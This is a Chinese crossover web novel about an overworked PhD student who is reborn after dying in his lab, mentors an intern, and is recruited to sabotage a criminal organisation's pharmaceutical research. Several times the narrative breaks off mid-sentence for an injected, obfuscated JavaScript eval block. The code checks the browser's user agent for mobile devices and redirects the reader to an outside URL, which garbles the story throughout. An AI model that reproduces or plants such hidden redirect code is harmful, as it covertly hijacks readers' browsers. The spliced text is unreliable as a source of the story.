《实验室猝死重生后我干废了一个组的课题》 1. 引子 长岛京悟已经在实验室干了十二个小时了。他早上九点到实验室，马不停蹄开始提蛋白，过镍柱，然后做酶切。下午两点终于拿到足够的样品开始跑akta。那台机器就像是一只饥饿的河马一样吞噬了百分之八十的蛋白。到晚上九点，他得到了可怜的二十微升样品。这么点东西已经没有在-80保存的必要了。但是这个蛋白比较比较不稳定，等到再冰上过夜明天再测试，第二天也毛都没了。能够让自己十二个小时的工作有些意义的只有马上去显微镜下测试蛋白功能。他闷了一瓶便利店买来的黑咖，迈着虚浮的步伐跑了半个校园到了显微镜在的大楼。 他的影子在月光和隔得很远的路灯光下被拉得很长，就如同他永远做不完的实验和老板永远提不完的要求一样看不到尽头。 图书馆也还亮着，学校里依然有数不清的人醒着。长岛京悟感觉自己像是一颗永远停不下来的陀螺，却永远搞不清楚自己课题的意义所在。但是好像全世界的科研人都是这样的，他混迹其中，总是期待着自己是与众不同的，却总是被世界通知自己并没有那么重要。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824411|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 上一个用显微镜的人正在收尾，他在外面站着发呆。十点的实验楼地下室依旧有无数像他一样的科研螺丝钉。和他们擦肩而过，每个人都会下意识地瞥一下对方手里的冰桶。同样的ep管里装着同样的几滴样品，不知道花了多长时间制备，样品也听不见人类的心声——实验做得出来与做不出来之间的差别就只有勤奋吗？勤奋能够改变任何事情吗？我能找到我所需要的答案吗？答案又重要吗？ 长岛京悟猝死在显微镜旁，今天他已经连续工作了十五个小时。 2. 重生了，但是没有回到选专业那一天 长岛京悟死前的最后一个念头是：要是有下辈子，他绝对不搞生化环材。 而在一段漫长而昏沉的黑暗后，他又睁开了眼睛。映入眼帘的是他博士最后一年租的公寓。 （另：当一个科研人说自己不想搞生化环材，他大概率是想要转码。） 第一章：重生了，但是没有回到选专业的那一天。 长岛京悟重生了，但是重生的时间点不好。在这个时候他刚刚和导师把自己的论文投出去，显示的是已经送审，所以正在万分紧张地等审稿人的意见。哪怕是刚活，他睁开眼睛第一件事还是查邮箱。邮箱里零星几封邮件都来自google scholar，不出意外的都是导师前几天刚和他说的idea被人抢先做出来还发表了的好消息。 上辈子他遇到了史上最鸡毛审稿人，导师只好放他去补一堆鸡毛实验，没有继续向他输出自己的全新idea。但是在他的记忆里，在等待审稿人意见的这一段时间老登是没有放过他的。 不出所料，他收到了导师发来的消息：我朋友的侄子要申请大学，你带一下这个孩子的暑期实习吧。 加州的阳光很刺眼，赤井秀一在计量生物大楼外的长椅上安静地坐着。他要申请美国的大学，需要一份知名大学的暑期实习来给自己的简历镀金。他的妈妈通过复杂的人脉联系到了一个加州大学的教授，对方答应让他来实验室实习一个月。 他很快联系上了分配来带他的博士生，对方在邮件里说让他早上十点到。他们互相交换了联系方式，他只知道对方也是日本人，名字叫长岛京悟，face ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824412|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' book头像是一个黑发青年在祭拜一个biorad重力柱。 赤井秀一的目标专业是刑侦学，他主要想要获得一些生物化学方面的经验。他和长岛京悟沟通后，对方没有说什么，只是简单回复了一句“好的没问题，生物化学真的很有吸引力，但是大学就别学了”。 十点十分长岛京悟抵达校园，把赤井秀一带进实验室。然后他递给赤井秀一一个移液枪和两瓶水：“区区生物化学，移液而已。你就练吧。” 赤井秀一：“好的，还有别的吗？” 长岛京悟想了想：“你枪头别用一个打一个，省着点用。这一个月就这样吧。最后我的论文会加你的共作，大学申请加油哈。” 他又补充了一句：“申请大学的时候可以试试学计算机呢。” 3. 跑了个SDS-PAGE，但是五点了，那我明天再来染色吧。 在赤井秀一把纯净水从一个烧杯移到另一个烧杯再移回原本的烧杯的时候，长岛京悟在看招聘启事。 他上辈子毕业之后去了加州大学系统里的另一所分校做博后，新老板比现在这个老登更鸡毛，还满脑子天马心空的诡异idea。他和老板吵过很多次课题，但是无奈老板手里捏着他的h1b，只能咬着牙打工。在新的实验室，他不仅被迫承包了所有人的昆虫细胞培养，还得每几个月带一个新的轮转学生。在繁杂的屁事之余，狗逼老板还要让他每周汇报工作，起步三页ppt。 可惜没猝死在老登实验室，便宜他了。 新的人生来之不易，他怎么也不想继续在美国装孙子了。签证捏在别人手上的痛没有人想要体验第二遍。他要回日本。 赤井秀一兢兢业业地把纯净水轮回了三遍之后终于崩溃了。他放下移液枪，快走到长岛京悟的工位旁才凭借极好的视力发现对方在大窗看领英，小窗看动画。远远地感到他的靠近，长岛京悟一个ctrl加2切到了桌面二，是规规矩矩的Jupyter notebook。他转过头看赤井秀一，一副你怎么来了的表情。 赤井秀一：“那个，有什么别的事情我可以做的吗？” 长岛京悟看了眼时间，十二点了。该吃午饭了。叫醒一个装睡的人很难，但是叫一个装作在科研的博士生去吃饭是天经地义的。 学校食堂九刀一人，量大管饱，营养均衡，开得早关得晚，除了难吃之外没有太大的缺点。他和赤井秀一面对面坐着，两人盘子里都是大量的肉和零星一点蔬菜。 赤井秀一见对方没有开口聊天的打算，只好又一次打破沉默：“长岛前辈在这里多久了？” 赤井秀一用的是日文，长岛京悟也切换回了日语：“六年。” “读博需要这么久啊。” “……”戳到痛处了。 “没有固定的毕业年限吗？” “没有的。” “前辈还要多久毕业呢？” “……我去拿个苹果。” 下午他们回到实验室，长岛京悟终于磨磨蹭蹭开始干活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824413|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。实验室人不多，因为是暑假，有些老登宠爱的同事得了特批去企业实习去了。他们在取冰的时候路过一个从中国来留学的本科生，带他的博士生乔瑟夫就是老登宠爱的白男之一。长岛京悟瞥了一眼他眼下的青黑，转头和赤井秀一嘀咕：“本科生选实验室要慎重一点。” 中国留子凉凉地看了他们一眼，低着头和他们擦肩而过。 长岛京悟本来打算今天就跑个PCR糊弄过去就回家投简历，回到实验室后他闻到细微的熟悉的臭味，发现中国留子在配SDS胶。他赶紧凑上去让留子再配一块。本科生地位低下，留子又凉凉地看了他们一眼，点头，让他们过会儿来拿。 赤井秀一说：“……感觉和我想象中的学术不太相似。” 长岛京悟说：“大学别学生物。” 他们四点跑上了SDS-PAGE，跑完五点了。长岛京悟对赤井秀一说：“走吧，下班。” 在中国留子震惊的目光中，他跟赤井秀一说：“我做了一个决定，五点钟之后我不会再留在实验室。” 4. 今天在实验室会遇到心软的神吗？ 长岛京悟在学校旁边的超市拿了个剩菜盲盒就回家了。 经过一整天的摸鱼，他看中了三个比较符合自己研究方向的职位：一个是东都大学的博士后，主要方向是研究蛋白分子机制；一个是横滨大学的博士后，主要方向是免疫细胞毒素的蛋白质工程；还有一个是一家制药公司的副研究员，方向未知，需要的职业经验是蛋白质纯化和单分子成像。当晚他亲自（和chatgpt一起）写了这三个职位的求职信交了简历，又直接用chatgpt海投了三十多个不太感兴趣的职位。 十点多老板给他打电话，他果断静音关机睡觉。 第二天牛马的本性让他八点多自然醒了，醒来第一件事还是查邮箱。 邮箱里躺着一封面试邀请，来自他的第三个top choice“白鸠制药”。 这企业多缺人啊？ 不论如何，收到面试都是可喜的。长岛京悟美滋滋地给自己又热了一下昨晚的剩菜盲盒当早饭，不出意外的话在食堂吃完午饭后今天的晚饭还将是这个盲盒。这十刀花得很值。 十点他准时来到实验室，赤井秀一已经在等着了。 好心的中国留子昨晚顺手帮他们考马斯染了胶，他带着赤井秀一认了一下蛋白质分子大小，讲了讲SDS-PAGE原理后发现自己的蛋白被污染了。于是他开始转染细胞。 在细胞间，赤井秀一问：“我们是怎么让蛋白条带在胶上显出来的？” 长岛京悟说：“有染色的方法，最常见的是考马斯蓝染，比较快，但是精度不高。还可以做银染，但是比较耗时间，除非有人救过你的命，不然不值得。”他补充道：“不管什么染色方法，都要在跑完胶几个小时内染，不然蛋白会弥散。” 赤井秀一：“但是我们昨晚五点就下班了，并没有染色。” 长岛京悟：“是这样，不过有些事情都是看不下去的那个人会做，一个实验室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824414|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总会有一个心软的神。” ……不要把偷奸耍滑说得那么理直气壮啊！ 转染完细胞后长岛京悟开始给赤井秀一讲解PCR的原理。PCR之父，抽烟喝酒烫头还吸麻，但是他是个好男孩。有一天他吸完麻，开车在公路上酒驾…… 赤井秀一：“这到底违反了几条交通法啊？” 长岛京悟接着说，他开着车开着车，发现房子都有重影，一个接一个，每一个都一模一样，一变二再变四……于是他想，为什么不能用这个来人工合成DNA呢？回到家之后，他提出了链式反应的理论。他最后总结道：“真是牛逼啊。” 赤井秀一评价：“讲得很好，之后不要跟别的高中生讲了。” 跑上PCR，下午三点他就把赤井秀一放走了，自己留在实验室准备今晚线上面试的ppt。五点钟他在中国留子阴湿的目光中准时离开实验室。 晚上九点他准时进入Zoom会议室。 5. 真的有不用讲自己课题的面试啊？ 会议室里有三个人，一个叫“宫野”，一个叫“宫野”，还有一个叫“琴酒”。 两个宫野开了视频，琴酒没有，也没有头像，只有三个大写的英文字母。 长岛京悟说：“你们好。” 男宫野点点头：“你好。”他的声音立刻变成了回音从女宫野和琴酒的账号传过来。 合着这三个人在同一个空间，却开着不同的账号进入了会议室。 长岛京悟深吸一口气，告诉自己不要笑，开始做自我介绍：“您好，我叫长岛京悟，本科就读于美国A文理学院，之后进入加州大学伯克利分校生物物理项目读博，不出意外的话会在五个月后毕业。我的导师是G教授，研究方向是驱动蛋白分子伴侣的分子机制，技能特长是蛋白质提取、蛋白质工程和单分子成像。” 女宫野问：“能够在文理学院读本科，你的高中是在日本读的吗？” 从其他两个账号传来回音：“日本读的吗？”“读的吗？” 长岛京悟回答：“是的，我在横滨上学，高中三年级申请的美国的大学。” 男宫野说：“加州伯克利的博士项目很不容易，你的简历十分优秀。” 另外两个账号：“十分优秀。”“优秀。” 长岛京悟让自己拼命想上辈子被博后老板压榨到死的日子才保持面无表情地说：“十分感谢。我可以现在开始介绍我博士的课题，现在正在投稿中，修改前的全文在bioarchive上，我现在和您分享我的ppt……” “不用了。”那个叫琴酒的人打断了他，“你什么时候可以来工作？” 回音：“来工作？”“工作？” 长岛京悟：“……啊？” 琴酒：“我们需要你尽快入职。” 长岛京悟：“大概五六个月后吧。我现在还在等审稿意见，文章不被接收我老板不会放我走的。” 琴酒：“你老板就是G教授？” 长岛京悟：“是。” 琴酒：“这件事情我们会处理好的，你最晚三个月后回到日本来报道。” ……为什么他说得那么像是要把我老板杀了啊？ 长岛京悟：“……啊，如果一切都顺利的话……倒也不是不行……” 琴酒：“组织有自己的行事风格。你只需要遵守就好。”他顿了顿，“如果没有别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824415|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情的话，就先这样吧。” 他冷酷的声音从另外两个宫野的语音频道传来：“就先这样吧。”“这样吧。” 长岛京悟：“哦……啊？” 他真的要把我的老板杀了吗？ 这是不是不太好？ 而且什么是组织啊？我不是在面试一个制药企业吗？ 电脑右侧弹出一条新的邮件，长岛京悟不着痕迹地看了一眼，来自老登，标题是“写一下这个基金”，邮件内容没看清楚，但是看到了五六个附件。 ……帮老板接一下这个什么组织的制裁吧。 可能是看到他一脸茫然，女宫野安抚道：“没事的，之后的待遇合同会发到你的邮箱里，如果你接受的话我们可以向你的老板施压，你可以更快毕业之后回来加入我们的团队。”她温和地补充道：“我和厚司都很期待之后和你一起工作。” 琴酒说：“那就这样吧。再见。” 没等他的声音再从另外两个人的频道传来，会议结束。 长岛京悟和zoom主页面面相觑。后台运行的ppt还停留在第一页。 原来还真的有不需要讲课题的面试啊？ 6. 要不然你还是把我老板鲨了吧 第二天长岛京悟的邮箱里出现了白鸠制药发来的offer，待遇比他想象中的还要好。但是一个正常的科研人在天上掉馅饼的时候都会保持应有的警惕，就好像每一次老板开始画饼的时候，在醉心未来之余，一定要在内心问自己：他又想让我干什么脏活累活？ 同理，白鸠制药虽然给的多，但是对于未来要加入的组含糊其辞，而且他们三个面试官居然都坐在一个房间里还同时开语音，甚至对频道里传出来的回音都置若罔闻。 这是个什么地方啊？要不是看在他们可能要制裁自己老板而且给得太多了，长岛京悟几乎想要直接跑路。 他决定继续等其他投出去的职位，这个offer能拖一天是一天。谨慎地回复了邮件之后他出发去实验室。 长岛京悟刚到实验室老登就找上来了。老登站在他工位旁问：“你看到我的邮件了吗？” 长岛京悟：“看到了。我这这两天写。” 老登：“明天晚上交给我吧。” 长岛京悟：“老师，一个人深度思考后打字的速度最快差不多在二十个词一分钟，这个基金限制在五十页包含引用配图，单行距。字体是13的话，要三万词左右。不吃不喝的话，我需要大约1500分钟，即25小时。但是我还要吃饭和睡觉，也需要时间做自己的实验和修改刚刚投出去的文章。”他眼睛一转，“我需要至少一个星期的时间。” 老登：“明天晚上不行吗？其他事情没那么重要。” 长岛京悟深吸一口气。他是死过一次的人。 长岛京悟说：“老师，申请到的经费可以给我们买一台新的分光光度仪吗？” 老登问：“这个旧的不能用吗？” 长岛京悟：“这一台已经二十八岁了，比我还要年长。每一次我都要抽它好几下它才能工作。老师，申请到的经费如果和我的课题没有关系，我又怎么会有热情帮你仔细地写本子呢？” 老登沉默了一会儿，说：“那你下周给我吧。” 旁边看完了全程的赤井秀一：人性真是复杂啊。 给牛马布置好了任务后，老板跃跃欲试地想要指导课题了（俗称帮倒忙）。 长岛京悟早有准备。他拿出上次和赤井秀一一起跑好的胶，从头讲到尾又从尾讲到头，跌宕起伏地讲了自己跑胶的原因、历程以及收获。 赤井秀一：……终于知道为什么他光是介绍PCR就需要扯那么多废话了。 老登说：“你做的不错，但是如果我是你的话，最后会做银染，而不是考马斯染。不然你怎么知道更细微的污染从哪里来呢？” 问题是已经污染了，知道更多的又有什么意义呢？长岛京悟再一次深呼吸，说：“好的，下次一定。” 他的视线扫过隔岸观火看热闹的中国留子，中国留子虎躯一震，低下头继续做实验。 老登说：“上次让你突变这个蛋白，你做完了吗？” 长岛京悟翻出来这几天做的唯一一个PCR后跑的DNA胶，说：“质粒构建好了，这两天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824416|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可以提出来然后转染。” 老登说：“我的同学说啊，提质粒还是要用trizol，那些提前配好的试剂盒提出来不纯，之后转染效率低。” 长岛京悟继续深呼吸，回答道：“老师，trizol有点毒性，我现在还在带这个您的朋友的侄子做实验，要不等他走了我再换吧。” 老登：“哦，也有道理。”转头问赤井秀一：“这边还习惯吗？” 赤井秀一说：“收获很大，十分感谢您提供的机会。” 老登点了点头，心满意足地走了。 老登走后，赤井秀一问：“今天我们干什么？” 长岛京悟说：“昨天转染的细胞还要等一两天才能提蛋白，我们看看乔治今天做不做培养基，做了的话我们就蹭一个去筛一下gibson后的质粒。” 乔治是那个中国留子的英文名，他的真名不详。 赤井秀一迟疑道：“他要是不做呢？” 长岛京悟说：“他不做的话就只能我们做了，但是我刚刚偷偷看了一眼他拿出来的试剂，他今天必然要配培养基的。”他用的是日语，“有时候要多做学术长颈鹿，能蹭一点是一点。” 他坐回自己的工位，又想起白鸠制药的诡异面试和女宫野最后说的：“……我们可以向他施压……” 有些心动啊。 但是在做任何决定之前，他需要问一下业内人士的意见。他的一位要好的高中同学现在是一个光荣的公务员，而且据说在情报机关工作。 7. 当医生或者公务员就是东亚小孩的宿命 【长岛京悟】：哈喽安吾，好久不见。可以麻烦你帮个忙吗？ 【坂口安吾】：好久不见。帮什么忙？ 【长岛京悟】：是这样的，我现在在找回国后的职位。然后我面试了一个公司，拿到了offer，但是这个公司看上去有点不靠谱。 【坂口安吾】：什么公司？ 【长岛京悟】：[链接] 【长岛京悟】：公司名叫“白鸠制药”，我想请你帮我打听打听这个公司如何，感激不尽。 给坂口安吾发完短信后他溜达去看了一眼中国留子，中国留子果然在配营养基。他还没开口要，中国留子用流利的日语说：“在冷却，一会儿来拿。” 长岛京悟：“……你会说日语啊。” 中国留子：“我在日本读的高中，另外我不叫喂，我的名字叫刘伟。” 长岛京悟问：“你读的是哪所高中？” 刘伟说：“我高中在秋田的阳泉高校，我们学校比较出名的是篮球部。” 长岛京悟仔细打量一下刘伟，发现他的确很高，高到老登在他身边都像一个小卡拉米。 长岛京悟问：“那你打篮球吗？” 刘伟说：“我高中是篮球部正选，来这里读书也是篮球特招。” 长岛京悟：“……那你为什么学生物？” 刘伟摸了摸头：“打篮球不是个出路，我们家还是希望我考一个好大学，然后上医学院。” 医生或者公务员果然是东亚小孩的逃不开的宿命啊。 长岛京悟回到家后接到了坂口安吾打来的跨洋电话。 对面的坂口安吾说：“你让我查的内容我查了。” 长岛京悟：“嗯，这个企业怎么样？” 坂口安吾：“……怎么说呢？我的部门主要负责监察和异能力相关的犯罪组织，所以在医疗企业的合法性上没有特别高的权限。这个企业应该是刚刚成立的，研究所也是新建的，在我们的档案里没有和它相关的需要注意的部分。”他顿了顿，接着说：“但是我查到了一些别的——这些不能和你细说——我有一种不太好的预感，我觉得它可能有一些问题，只是我没有任何证据。” 长岛京悟：“我明白了。谢谢你，安吾。”他正要挂电话，却听见坂口安吾踌躇着接口：“但是，长岛……” 坂口安吾像是下定了什么决心后说：“长岛，作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824417|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的朋友，我知道自己没有太大的立场来干涉你的决定。但是作为一个国家的公务员，我对这个国家的稳定有着不可推卸的责任。不管我之后要说什么，我希望你一定要从自己的角度考虑，因为你没有帮助我们的义务。 “这个制药企业可能和我们追查的一个犯罪组织有着紧密的关联。” 长岛京悟说：“当时给我面试的三个人，两个姓宫野，另外一个叫琴酒。” 坂口安吾那边传来急促的呼吸声。 长岛京悟继续回忆：“我和他们说我老板可能不放我毕业，琴酒说……” “组织有自己的行事风格。你只需要遵守就好。”琴酒的声音很冷，就像是在大润发杀了十年的鱼。 坂口安吾说：“果然如此。长岛，你面试的白鸠制药是这个犯罪组织成立的研究机构，他们很可能在研发不为人知的、可怕的药物。” “就我们所知，你是目前唯一一个和他们有正面接触并且被成功吸纳的学术人才。你的决定，对我们、和这个国家来说，相当重要。” “长岛，”坂口安吾严肃的声音从大洋的另一头传来，“我请求你协助我们……维护这个国家的稳定。” 8. 原来职业卧底干的都是我们博士生每天都在干的事情啊 “……找机会向你们传递他们的研究内容，如果没法传递就想办法搞砸他们的课题？” 坂口安吾说：“大致是这个样子，会不会太难了？” “如果只是后者的话，”长岛京悟尴尬地摸了摸鼻子，“……我可太擅长了。” 不如说，可怜的读博人都太擅长了：用完细胞间不消毒就能解决的事情罢了。不仅如此，他还精通对着实验室成熟protocol做出纯阴结果、用商业试剂盒提不出质粒、一升细胞提出二十微升样品等高级操作。与此同时，他自己创造困难的能力也十分卓越。在老登实验室，他曾因配平不当报废了一台超离心机，手抖掉落半瓶二抗，也取得多次了往akta里注入大量空气的显著结果。这还只是他的无心之失。要是本来就抱着创飞这个课题并做得滴水不漏的心态，他能够达成的成就他想都不敢想…… 手机里传来坂口安吾不确定的声音：“你的意思是，你很擅长潜伏、策反和截停任务？” ……原来不是世界缺少美，而是我们缺少一双发现美的眼睛。 长岛安吾迟疑道：“你要是这么觉得的话其实也差不多吧。” 坂口安吾说：“既然这样，那真是太好了。长岛，我会把协助人的文件通过加密方式传递给你。之后你的联络人我也会帮你安排好，也会有专人和你当面更详细地介绍任务的安排。” “这个国家会感谢你的，长岛。”坂口安吾认真地说，“我们所有人都会感谢你的付出。” 坂口安吾挂断了电话。他看着电脑上明明灭灭的文字资料，再想起多年未见却被莫名卷入是非的高中同学，不由得叹一口气。 如果一个人的性格可以用颜色来形容的话，他觉得长岛安吾的底色是温和而包容的蓝色。 在高中的时候长岛家养了十几年的萨摩耶去世，他们走在放学回家的路上，坂口安吾犹豫着该如何说一些安慰的话。没有想到他还没有开口，长岛京悟就拍了拍他的肩膀：“我没事的。” 还没等他回应，长岛京悟接着说：“我决定了，我将来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824418|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要学生物化学。” “那一天我陪在哈尔身边，我看着他被注射了安乐死的药。”长岛京悟慢慢地说，“哈尔看着我。我感受到……他的生命在慢慢流逝。不是在一瞬间，而是一个过程。好像一个工厂，由车间A的停摆蔓延到车间B再到车间C。一切都有条不紊，只是由有到无，从1至0。那一刻我只觉得生命是如此复杂，又如此有序。哈尔闭上眼睛的时候，我觉得他好像在告诉我，这个复杂的谜团是需要我去探索的。”他换了口气，“我想，我应该去研究一下。说不定之后再见到哈尔的时候，我可以告诉他我发现了什么关于他的生命的秘密。” 坂口安吾没有说话，只是回应性地也拍了拍好友的肩膀。 长岛安吾高中毕业之后就赴美留学，之后读博。在这十年内他们只见过寥寥几次，他甚至已经想象不出长岛现在长什么样了，却还记得高中毕业时长岛郑重其事地在纪念册上写下：我们必须知道，我们终将知道。 他探索到那时他向往的生命的秘密了吗？ 9. 优秀的同门师兄都进犯罪组织了，我还有什么理由停滞不前 【Dear Dr宫野， 希望您一切顺利。对于白鸠制药提出的合约，我十分心动。如果可以的话，请问我可以和您单独约一个线上会议的时间，来聊一下之后我可能负责的研究方向吗？这样我可以利用入职前的时间多了解一下相关的文献内容，今后可以更快速地加入研究工作中。 另：你们可以向我导师施压了，如果可以的话尽量让他给我们买一台新的分光光度仪。 诚挚的祝福， 长岛京悟 博士候选人 加州伯克利大学生物物理系 G教授lab】 【To长岛京悟： 管好你自己，三个月后来就行了。 琴酒】 琴酒就是坂口安吾口中那个跨国犯罪组织出了名的冷酷杀手，他说话的语气里总有种没读过本科的凌厉和直白。 长岛京悟立刻给坂口安吾发消息：“琴酒在监控宫野博士的邮箱，我没办法和他们在入职前有更多的接触。” 坂口安吾很快回复：“好的，那就不要继续追踪了。注意自己的安全。” 他再打开审稿人发回来的的文件，一目十行地扫过一条条站着说话不腰疼的狗屁意见，预见了未来几个月又有做不完的狗屁实验。 他突然开始好奇琴酒会怎么让他在三个月内毕业，感觉好像只剩下暗鲨老板一条路了。不过这么想来，老板其实也罪不至死。到时候问问安吾怎么办吧。 长岛京悟吃完了最后一口剩菜盲盒，出发去实验室。 一个人的灵感与创造性一半在洗澡的时候获得，另一半则在去上班的路上获得。 长岛京悟今天难得抢到了公交上的座位，得以舒舒服服地倚着靠背抱着背包去上班。他的身体舒展开，思绪也慢慢开始发散。 虽然坂口安吾让他不要在入职前做更多的追踪以防暴露，但是他很清楚，如果一个科研人完全不去对即将加入的课题组做背景调查，才会引人注目。 背景调查包括但不限于找课题组过往的学生问导师人品如何、找导师之前的同事问导师人品如何、找导师之前的导师问导师人品如何。如果这些都不太可行的话，把导师的照片发到社交平台上让大家看这个人的面相以判断导师人品如何，也已经成为了普遍操作。 可是他的问题在于，白鸠制药是新建的研究所，目前并没有工作人员。他只知道未来的导师是两个宫野，一男一女，有可能是兄妹，但更大可能性是夫妻店。他甚至不知道这对宫野夫妻的名字。这个问题在如果女方结婚后改了姓氏就更棘手了，说明他只能从男宫野的方向调查。 但是全世界的人有那么多姓宫野的，他试过在谷歌学术搜索宫野et al.，如果每一条结果都过一遍的话他这辈子都不可能得到任何有用信息。更何况如果这个跨国犯罪组织在研究违禁药物，很可能这个组的人之前从未发过有关这个方向的论文。 但是有一点很可疑：坂口安吾告诉他，他是“目前唯一一个和他们有正面接触并且被成功吸纳的学术人才”。 他在投递领英简历的时候记得这个职位有不下两三百人提交简历，为什么偏偏是他得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824419|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了面试和之后的offer？ 首先可以排除的是因为他的学历很耀眼。加州伯克利的博士学位在学术界虽然认可度不低，但是如果他当时被哈佛录取的话他绝对不会来这个破学校。现在博士数量已经供大于求，比他学历很优秀的人一定存在，也一定会在他的竞争者中。 难道是他的研究方向？ 他研究的是驱动蛋白的分子调控机制。他的导师G教授虽然是个老登，但在业内也算是颇有影响力。G教授的导师是驱动蛋白的发现人之一，所以仔细算下来长岛京悟还算是这个大学阀中的一员。 ……但是说回来了，驱动蛋白这个破东西现在就连他师爷爷都不太想研究了，这能有什么应用价值呢？ 还有什么可以让他得到一个新建课题组的导师不画饼、不pua、不服从性测试的信赖呢？ 长岛京悟想，有一个可能性是他们有某种意义上的渊源。他确认自己的亲戚朋友里没有一个姓宫野的。 宫野博士有没有可能是他的同门？ 长岛京悟突然想起来自己作为老登手下最好用的牛马，半年前被老登布置了建一个实验室网站的任务。这个任务他拖了两个月，但是最后在ChatGPT的协助下还是搞完了。因为绝大多数实验室的网站会公布这个实验室的现成员和前成员，所以他手上有老登给他的同门的名单。 